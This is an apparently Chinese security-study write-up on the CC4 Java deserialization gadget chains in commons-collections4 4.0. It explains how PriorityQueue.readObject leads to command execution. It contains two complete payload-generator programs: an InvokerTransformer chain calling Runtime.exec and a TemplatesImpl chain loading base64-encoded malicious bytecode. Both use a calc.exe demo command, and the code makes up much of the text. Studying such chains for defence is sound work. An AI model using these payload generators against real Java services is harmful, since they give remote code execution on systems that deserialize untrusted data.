环境:jdk8u65;commons-collections4.0
影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
commons-collections库有两个版本,一个3.x,一个4.x。cc1,cc6等等这些在commons-collections3库中可以利用的链子,在commons-collections4也可以用,修改一下函数就行。同时,commons-collections4.0出现了两条新的利用链,cc2和cc4,两者其实差不多,但无法在commons-collections3中使用。
cc4可以通过transformer数组触发命令执行也可以通过字节码加载的方式触发代码执行。先介绍transformer数组这条链。
cc4(transformer)
payload
package commonscollections4;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC4 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(queue);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
cc4(transformer)这条链从ChainedTransformer.transform()往后不再赘述,cc1和cc6中都有提到,这里主要研究之前的链子。
TransformingComparator.compare()
跟进payload中的TransformingComparator构造方法,方法中再次调用了另一个构造函数,该方法将传入的transformer字段进行赋值,因此如果能调用compare方法,就能够调用到ChainedTransformer.transform()
PriorityQueue.siftDownUsingComparator()
跟进该类的构造函数,将comparator字段进行赋值,为TransformingComparator对象
找到siftDownUsingComparator方法,可以看到两个if中都调用了comparator.compare,不用担心调用的问题
PriorityQueue.siftDown()
找到siftDown()方法,可以看到当comparator != null时,调用siftDownUsingComparator()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
PriorityQueue.heapify()
heapify()方法中的for循环调用了siftDown()方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
PriorityQueue.readObject()
正好readObject()方法调用了heapify(),整条cc4结束,最后代码中的queue.add方法是向优先队列中添加两个元素,使其能够进行比较`
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
gadget
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
invokerTransform()
Runtime.getRuntime().exec()
cc4(TemplatesImpl)
payload
package commonscollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class CC4TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(chainedTransformer, "iTransformers", transformers);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(queue);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
cc4(TemplatesImpl)这条链和cc3在ChainedTransformer.transform()后半段是相同的,和cc4在TransformingComparator.compare()前半段是相同的,所以这条链可以说是cc3+cc4的变种,只是将TemplatesImpl字节码加载融入进了cc4
gadget
直接给出gadget
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()